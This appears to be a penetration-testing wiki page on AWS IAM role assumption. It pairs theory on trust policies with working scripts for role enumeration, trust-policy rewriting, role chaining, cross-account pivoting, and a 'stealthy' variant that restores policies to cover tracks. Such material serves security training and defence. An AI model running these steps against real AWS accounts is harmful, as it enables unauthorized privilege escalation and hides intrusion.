# Roles & AssumeRole

## Theory

[IAM Roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) are AWS identities with specific permissions that can be assumed by entities such as users, services, or other roles. Unlike users, roles don't have permanent credentials—instead, they provide [temporary security credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) when assumed.

Every role has two essential components: a [trust policy](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#iam-term-trust-policy) that defines who can assume the role, and permissions policies that define what the role can do once assumed. When you assume a role, you receive temporary credentials consisting of an access key, secret key, and session token that expire after a duration between 1 and 12 hours. This creates a role session during which the temporary credentials remain valid.

### AssumeRole Mechanism

```
┌─────────────┐           ┌─────────────┐           ┌─────────────┐
│   Caller    │──Request──│  STS Service│──Validate─│ Target Role │
│ (Principal) │           │             │  Trust    │             │
└─────────────┘           └─────────────┘           └─────────────┘
       │                         │                          │
       │   Temporary Credentials │                          │
       │←────────────────────────┤                          │
       │                                                    │
       │   Access AWS Resources with Role Permissions       │
       └────────────────────────────────────────────────────┘
```

The AssumeRole workflow begins when a caller sends a request to assume a role via the [`sts:AssumeRole`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) API call. [AWS Security Token Service (STS)](https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html) receives this request and validates the caller's identity against the target role's trust policy. If the trust policy allows the caller to assume the role, STS issues temporary credentials valid for 15 minutes to 12 hours. The caller then uses these credentials to access AWS resources with the role's permissions. When the credentials expire, the process can be repeated if continued access is needed.

### Trust Policy Structure

Trust policies are resource-based policies attached to roles that determine who can assume them. These policies include a Principal element specifying the trusted entities, an Action element typically set to `sts:AssumeRole`, and optional Condition elements to add requirements like external IDs or source IP restrictions.

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/alice"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "sts:ExternalId": "unique-id-12345"
        },
        "IpAddress": {
          "aws:SourceIp": "203.0.113.0/24"
        }
      }
    }
  ]
}
```

Trust policies can specify different types of principals. AWS account principals like `"AWS": "arn:aws:iam::123456789012:root"` trust all identities in an account, while IAM user principals like `"AWS": "arn:aws:iam::123456789012:user/alice"` trust specific users. You can also trust IAM roles, AWS services like `"Service": "ec2.amazonaws.com"`, or federated users via SAML providers.

### Security Mechanisms

Several security mechanisms can protect role assumption. [External IDs](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html) mitigate the ["confused deputy" problem](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) by requiring a secret value known only to trusted parties, commonly used for third-party cross-account access. The external ID acts as an additional authentication factor beyond the principal's identity.

[MFA requirements](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) force multi-factor authentication before role assumption by using the condition `"aws:MultiFactorAuthPresent": "true"` in the trust policy. This ensures that even if credentials are compromised, attackers cannot assume the role without the MFA device.

Source IP restrictions limit role assumption to specific networks using [conditions](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html) like `"aws:SourceIp": ["203.0.113.0/24"]`. This prevents role assumption from untrusted locations even with valid credentials.

[Session duration](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use.html#id_roles_use_view-role-max-session) controls how long temporary credentials remain valid. The default session duration is 1 hour, with a maximum of 12 hours configurable via the role's `MaxSessionDuration` property. The actual duration is specified during the AssumeRole call using the `--duration-seconds` parameter.

## Practice

### Reconaissance

Before you can exploit roles, you need to discover which roles exist in the environment and which ones you can assume. Roles are defined by their trust policies, which specify exactly who can assume them. Enumerating roles and analyzing their trust policies reveals potential privilege escalation paths through role assumption.

{% tabs %}
{% tab title="awscli" %}
Enumerate roles in account can be perfomed using awscli and following commands.

```bash
# List all roles
aws iam list-roles

# Extract role names and ARNs
aws iam list-roles --query 'Roles[].[RoleName,Arn]' --output table

# Get specific role details
aws iam get-role --role-name TargetRole

# Get role attached policies
aws iam list-attached-role-policies --role-name OrganizationAccountAccessRole

# Get role inline policies
aws iam list-role-policies --role-name OrganizationAccountAccessRole
```

After identifying roles, you need to examine their trust policies to determine which ones you can actually assume. This script automates the process of checking each role's trust policy for references to your current identity or account.

```bash
#!/bin/bash
# enum_assumable_roles.sh

CURRENT_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)
ACCOUNT=$(aws sts get-caller-identity --query 'Account' --output text)

echo "[*] Current identity: $CURRENT_ARN"
echo "[*] Searching for assumable roles...\n"

aws iam list-roles --query 'Roles[].RoleName' --output text | tr '\t' '\n' | \
while read role; do
    trust_policy=$(aws iam get-role --role-name "$role" --query 'Role.AssumeRolePolicyDocument' 2>/dev/null)

    # Check if current identity or account can assume
    if echo "$trust_policy" | grep -qE "($CURRENT_ARN|$ACCOUNT:root|\*)"; then
        echo "[+] Can potentially assume: $role"
        echo "    Trust Policy:"
        echo "$trust_policy" | jq '.Statement[].Principal'
        echo ""
    fi
done
```

{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu)'s IAM enumeration module automates the discovery of all roles in the account and analyzes their trust policies to identify which ones you can potentially assume.

```bash
# Run Pacu
pacu

# Set AWS credentials
set_keys

# Enumerate all roles
# This will:
# - List all IAM roles in the account
# - Extract trust policies for each role
# - Identify roles with overly permissive trusts
# - Flag roles you can potentially assume
run iam__enum_roles
```

{% endtab %}

{% tab title="CloudFox" %}
[CloudFox](https://github.com/BishopFox/cloudfox) specializes in analyzing role trust relationships, especially for cross-account scenarios. It visualizes trust paths and identifies pivot opportunities.

```bash
# Analyze role trusts
# This will:
# - Enumerate all roles
# - Analyze trust policies
# - Identify cross-account trusts
# - Show external account IDs trusted
# - Highlight overly permissive trusts
cloudfox aws -p default role-trusts

# Generate visual graph
cloudfox aws -p default role-trusts --output-format graph
```

{% endtab %}

{% tab title="ScoutSuite" %}
[ScoutSuite](https://github.com/nccgroup/scoutsuite) performs comprehensive role security analysis, identifying misconfigurations in trust policies, missing MFA requirements, and privilege escalation paths through role assumption.

```bash
# Run IAM assessment
python scout.py aws --profile default --services iam

# View findings in HTML report
open scoutsuite-report/aws-[account-id].html
```

{% endtab %}

{% tab title="Python" %}
For more sophisticated enumeration, this Python script uses boto3 to programmatically analyze all role trust policies.

```python
import boto3
import json

iam = boto3.client('iam')
sts = boto3.client('sts')

# Get current identity
identity = sts.get_caller_identity()
current_arn = identity['Arn']
current_account = identity['Account']

print(f"[*] Current ARN: {current_arn}\n")

# Enumerate all roles
paginator = iam.get_paginator('list_roles')
for page in paginator.paginate():
    for role in page['Roles']:
        trust_policy = role['AssumeRolePolicyDocument']

        for statement in trust_policy.get('Statement', []):
            if statement.get('Effect') != 'Allow':
                continue

            principal = statement.get('Principal', {})

            # Check AWS principals
            aws_principals = principal.get('AWS', [])
            if isinstance(aws_principals, str):
                aws_principals = [aws_principals]

            for arn in aws_principals:
                # Check if we can assume
                if (arn == current_arn or
                    arn == '*' or
                    arn == f'arn:aws:iam::{current_account}:root'):

                    print(f"[+] Can assume: {role['RoleName']}")
                    print(f"    ARN: {role['Arn']}")
                    print(f"    Trusted: {arn}\n")
```

{% endtab %}
{% endtabs %}

#### Testing AssumeRole Permission

Once you've identified potentially assumable roles through trust policy analysis, you need to verify that you can actually assume them. The trust policy might allow you, but you also need the `sts:AssumeRole` permission in your own identity policies. Testing assumption attempts will confirm whether both conditions are met.

{% tabs %}
{% tab title="Manual Test" %}
The simplest way to test role assumption is directly calling the AssumeRole API. A successful call returns temporary credentials, while a failure indicates either the trust policy denies you or you lack the necessary permissions.

```bash
# Test assuming a role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/TargetRole \
    --role-session-name test-session

# Success output:
{
    "Credentials": {
        "AccessKeyId": "ASIAQEXAMPLE",
        "SecretAccessKey": "wJalrX...",
        "SessionToken": "FwoGZX...",
        "Expiration": "2024-12-31T23:59:59Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAI...:test-session",
        "Arn": "arn:aws:sts::123456789012:assumed-role/TargetRole/test-session"
    }
}

# Denied:
An error occurred (AccessDenied): User is not authorized to perform: sts:AssumeRole
```

{% endtab %}

{% tab title="Automated Testing" %}
When you have multiple potential roles to test, automating the process saves time. This script attempts to assume each role and handles errors gracefully, giving you a clear picture of which roles you can successfully assume. Use this to quickly validate enumeration results.

```python
def test_assume_role(role_arn, session_name="test"):
    """Test if we can assume a role"""
    sts = boto3.client('sts')

    try:
        response = sts.assume_role(
            RoleArn=role_arn,
            RoleSessionName=session_name,
            DurationSeconds=900  # 15 minutes
        )
        print(f"[+] SUCCESS: Can assume {role_arn}")
        return response['Credentials']
    except sts.exceptions.ClientError as e:
        error_code = e.response['Error']['Code']
        if error_code == 'AccessDenied':
            print(f"[-] DENIED: Cannot assume {role_arn}")
        else:
            print(f"[!] ERROR: {error_code}")
        return None

# Test all discovered roles
roles = ['arn:aws:iam::123456789012:role/RoleA',
         'arn:aws:iam::123456789012:role/AdminRole']

for role in roles:
    test_assume_role(role)
```

{% endtab %}
{% endtabs %}

### Direct Role Assumption

The most straightforward exploitation is assuming a role that has higher privileges than your current identity. Once you've identified an assumable role with elevated permissions, you assume it to receive temporary credentials with those permissions, then use those credentials to perform privileged actions.

{% tabs %}
{% tab title="Role Assumption" %}
You identify your current low-privilege identity, discover a high-privilege role you can assume, assume it to get temporary credentials, export those credentials to your environment, and then use them to execute privileged commands.

```shellscript
# Current low-privilege identity
aws sts get-caller-identity

# Discover high-privilege assumable role
aws iam list-roles | jq '.Roles[] | select(.RoleName | contains("Admin"))'

# Assume the role
CREDS=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name pwned-session \
    --query 'Credentials')

# Export credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.SessionToken')

# Verify escalation
aws sts get-caller-identity
# Now: arn:aws:sts::123456789012:assumed-role/AdminRole/pwned-session

# Execute admin actions
aws iam list-users
aws s3 ls
```

Some roles require MFA for assumption, adding an extra security layer. If you have access to the MFA device (physical token or virtual authenticator app), you can provide the MFA code during assumption.

```bash
# If MFA required
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name mfa-session \
    --serial-number arn:aws:iam::123456789012:mfa/alice \
    --token-code 123456
```

External IDs are used for third-party access scenarios to prevent the confused deputy problem. If you've discovered or guessed the external ID (perhaps through documentation, configuration files, or social engineering), you can provide it during role assumption to satisfy the trust policy requirement.

```bash
# Third-party role with external ID
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/ThirdPartyRole \
    --role-session-name third-party \
    --external-id "unique-external-id-12345"
```

{% endtab %}
{% endtabs %}

### UpdateAssumeRolePolicy

The `iam:UpdateAssumeRolePolicy` permission allows you to modify the trust policy of any role. This provides a direct privilege escalation path since you can add your own identity to the trust policy of high-privilege roles, then assume those roles to gain elevated permissions.

{% tabs %}
{% tab title="Exploit" %}
The basic exploitation approach is straightforward:&#x20;

* create a new trust policy that trusts your current identity,&#x20;
* replace the role's existing trust policy with your malicious one,&#x20;
* then assume the role.&#x20;

This works on any role you have `UpdateAssumeRolePolicy` permissions for, regardless of who the role currently trusts.

```shellscript
# Get current ARN
CURRENT_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)

# Target high-privilege role
TARGET_ROLE="AdminRole"

# Create trust policy allowing yourself
cat > new_trust.json <<EOF
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "$CURRENT_ARN"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
EOF

# Update role's trust policy
aws iam update-assume-role-policy \
    --role-name $TARGET_ROLE \
    --policy-document file://new_trust.json

# Assume the role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/$TARGET_ROLE \
    --role-session-name escalated
```

{% endtab %}

{% tab title="Stealthy Version" %}
A stealthier approach preserves the original trust policy principals while adding your own identity. This reduces the chance of detection since legitimate users can still assume the role normally.&#x20;

You can optionally restore the original policy after completing your actions to further cover your tracks.

```bash
# Backup original trust policy
aws iam get-role --role-name AdminRole | \
    jq '.Role.AssumeRolePolicyDocument' > original_trust.json

# Add yourself to existing principals
CURRENT_ARN=$(aws sts get-caller-identity --query 'Arn' --output text)

jq --arg arn "$CURRENT_ARN" \
    '.Statement += [{"Effect":"Allow","Principal":{"AWS":$arn},"Action":"sts:AssumeRole"}]' \
    original_trust.json > modified_trust.json

# Update (adds you without removing others)
aws iam update-assume-role-policy \
    --role-name AdminRole \
    --policy-document file://modified_trust.json

# Assume role
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name normal-looking-session

# [OPTIONAL] Restore original to cover tracks
aws iam update-assume-role-policy \
    --role-name AdminRole \
    --policy-document file://original_trust.json
```

{% endtab %}
{% endtabs %}

### Cross-Account Role Assumption

Cross-account roles enable access between different AWS accounts, commonly used for multi-account organizations or third-party integrations. If you've compromised credentials in one account, you can pivot to other accounts by assuming cross-account roles that trust your account.

{% tabs %}
{% tab title="Enumerate Cross-Account" %}
First, identify which roles in the current account trust external accounts. These roles represent potential pivoting opportunities to other AWS accounts. The trust policies will reveal the account IDs you can potentially access.

```bash
# Find roles trusting other accounts
aws iam list-roles | jq -r '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS |
    test("arn:aws:iam::[0-9]{12}")) |
    "\(.RoleName) trusts \(.AssumeRolePolicyDocument.Statement[].Principal.AWS)"'
```

{% endtab %}

{% tab title="CloudFox" %}
[CloudFox](https://github.com/BishopFox/cloudfox) excels at mapping cross-account trust relationships and identifying pivot opportunities across AWS accounts in an organization.

```bash
# Enumerate cross-account role trusts
cloudfox aws -p default role-trusts

# Enumerate all accounts in organization
cloudfox aws -p default orgs --output-format json

# Combine with role-trusts for full picture
cloudfox aws -p default role-trusts --output-format graph
```

{% endtab %}

{% tab title="Cross-Account Assumption" %}
With credentials from one account and a role ARN from another account, you can assume the cross-account role if its trust policy permits. This switches your identity to the target account, giving you whatever permissions that role has. You're now operating in a completely different AWS account.

```bash
# From Account A credentials, assume role in Account B
aws sts assume-role \
    --role-arn arn:aws:iam::ACCOUNT_B:role/CrossAccountRole \
    --role-session-name cross-account

# Export credentials
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Now operating in Account B
aws sts get-caller-identity
# Arn: arn:aws:sts::ACCOUNT_B:assumed-role/CrossAccountRole/cross-account
```

{% endtab %}
{% endtabs %}

### Role Chaining

Role chaining involves assuming multiple roles in sequence to reach a target role with elevated privileges. This technique exploits trust relationships between roles where you might not be able to directly assume the final target role, but you can assume an intermediate role that has permission to assume the target.

Each assumption provides new temporary credentials that are used for the next step in the chain.

{% tabs %}
{% tab title="Manual Chain" %}
Manual chaining involves sequentially assuming each role in the path, exporting the credentials from each assumption before moving to the next. This creates a chain of role sessions, with each link providing access to assume the next role until you reach your target privileged role.

```bash
# Step 1: Assume RoleA
ROLE_A=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/RoleA \
    --role-session-name step1 \
    --query 'Credentials')

export AWS_ACCESS_KEY_ID=$(echo $ROLE_A | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $ROLE_A | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $ROLE_A | jq -r '.SessionToken')

# Step 2: From RoleA, assume RoleB
ROLE_B=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/RoleB \
    --role-session-name step2 \
    --query 'Credentials')

export AWS_ACCESS_KEY_ID=$(echo $ROLE_B | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $ROLE_B | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $ROLE_B | jq -r '.SessionToken')

# Step 3: From RoleB, assume AdminRole
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name admin
```

{% endtab %}

{% tab title="Automated Chain" %}
Automating role chaining with a script makes it easier to traverse long chains and reduces manual errors. This Python script iterates through a predefined chain of roles, assuming each one and using the resulting credentials for the next assumption, ultimately returning a session with the final role's permissions.

```python
def assume_role_chain(role_chain):
    """Assume a chain of roles"""
    session = boto3.Session()

    for i, role_arn in enumerate(role_chain, 1):
        sts = session.client('sts')

        print(f"[{i}] Assuming: {role_arn}")
        response = sts.assume_role(
            RoleArn=role_arn,
            RoleSessionName=f'chain-{i}'
        )

        creds = response['Credentials']
        session = boto3.Session(
            aws_access_key_id=creds['AccessKeyId'],
            aws_secret_access_key=creds['SecretAccessKey'],
            aws_session_token=creds['SessionToken']
        )

        print(f"    ✓ Success\n")

    return session

# Define privilege escalation chain
chain = [
    'arn:aws:iam::123456789012:role/RoleA',
    'arn:aws:iam::123456789012:role/RoleB',
    'arn:aws:iam::123456789012:role/AdminRole'
]

# Execute
admin_session = assume_role_chain(chain)

# Use admin session
iam = admin_session.client('iam')
print(iam.list_users())
```

{% endtab %}
{% endtabs %}

### Confused Deputy Attack

The Confused Deputy problem occurs when trust policies are overly permissive, trusting entire AWS accounts rather than specific principals. When a trust policy specifies an AWS account root (`arn:aws:iam::123456789012:root`) as the principal, any identity in that account with the `sts:AssumeRole` permission can assume the role.

{% tabs %}
{% tab title="Vulnerable Configuration" %}
This trust policy trusts the entire account, not just specific identities within it:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
```

The problem is that any principal in account 123456789012 with the `sts:AssumeRole` permission can assume this role, not just the intended trusted principals.
{% endtab %}

{% tab title="Exploitation" %}
To exploit this misconfiguration, you just need any compromised credentials from the trusted account,even a low-privilege intern account works.&#x20;

Because the trust policy checks the account rather than the specific principal, any identity in that account with basic AssumeRole permissions can assume the vulnerable role.

```bash
# Compromise ANY low-privilege user in trusted account
# Example: arn:aws:iam::123456789012:user/intern

# Assume the vulnerable role
aws sts assume-role \
    --role-arn arn:aws:iam::VICTIM_ACCOUNT:role/VulnerableRole \
    --role-session-name confused-deputy
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html>" %}

{% embed url="<https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/>" %}

{% embed url="<https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities/>" %}
